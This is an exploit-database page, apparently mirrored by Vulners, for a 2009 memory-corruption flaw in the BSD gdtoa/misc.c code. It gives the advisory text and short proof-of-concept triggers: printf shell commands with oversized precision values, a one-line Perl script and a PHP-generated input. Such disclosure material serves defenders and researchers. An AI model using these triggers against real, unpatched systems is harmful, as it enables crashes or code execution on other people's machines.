BSD (Multiple Distributions) - 'gdtoa/misc.c' Memory Corruption
🗓️ 26 May 2009 00:00:00Reported by Maksymilian ArciemowiczType 
exploitdb🔗 www.exploit-db.com👁 38 Views
| Reporter | Title | Published | Views | Family All 322 |
|---|---|---|---|---|
 | MacOS X 10.6.3 filesystem hfs Denial of Service Vulnerability | 24 Apr 201000:00 | – | zdt |
| Sunbird 0.9 Array Overrun (code execution) 0day | 11 Dec 200900:00 | – | zdt |
| Opera 10.01 Remote Array Overrun | 19 Nov 200900:00 | – | zdt |
| K-Meleon 1.5.3 Remote Array Overrun | 19 Nov 200900:00 | – | zdt |
| KDE KDELibs 4.3.3 Remote Array Overrun | 19 Nov 200900:00 | – | zdt |
| SeaMonkey 1.1.8 Remote Array Overrun | 19 Nov 200900:00 | – | zdt |
 | mono -- DoS and code execution | 19 Dec 201500:00 | – | freebsd |
| mozilla -- multiple vulnerabilities | 16 Mar 201000:00 | – | freebsd |
 | Google Chrome < 3.0.195.24 RCE | 1 Oct 200900:00 | – | nessus |
| Opera < 10.10 Multiple Vulnerabilities | 24 Nov 200900:00 | – | nessus |
10
source: https://www.securityfocus.com/bid/35510/info
Multiple BSD distributions are prone to a memory-corruption vulnerability because the software fails to properly bounds-check data used as an array index.
Attackers may exploit this issue to execute arbitrary code within the context of affected applications.
The following are vulnerable:
OpenBSD 4.5
NetBSD 5.0
FreeBSD 6.4 and 7.2
Other software based on the BSD code base may also be affected.
The following proof-of-concept shell commands are available:
printf %1.262159f 1.1
printf %11.2109999999f
printf %11.2009999999f
printf %11.2009999999f
The following proof-of-concept Perl script is available:
#!/usr/local/bin/perl
printf "%0.4194310f", 0x0.0x41414141;
The following proof-of-concept J program is available:
cxib=0.<?php echo str_repeat("1",296450); ?>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Apr 2014 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26.8
EPSS0.28054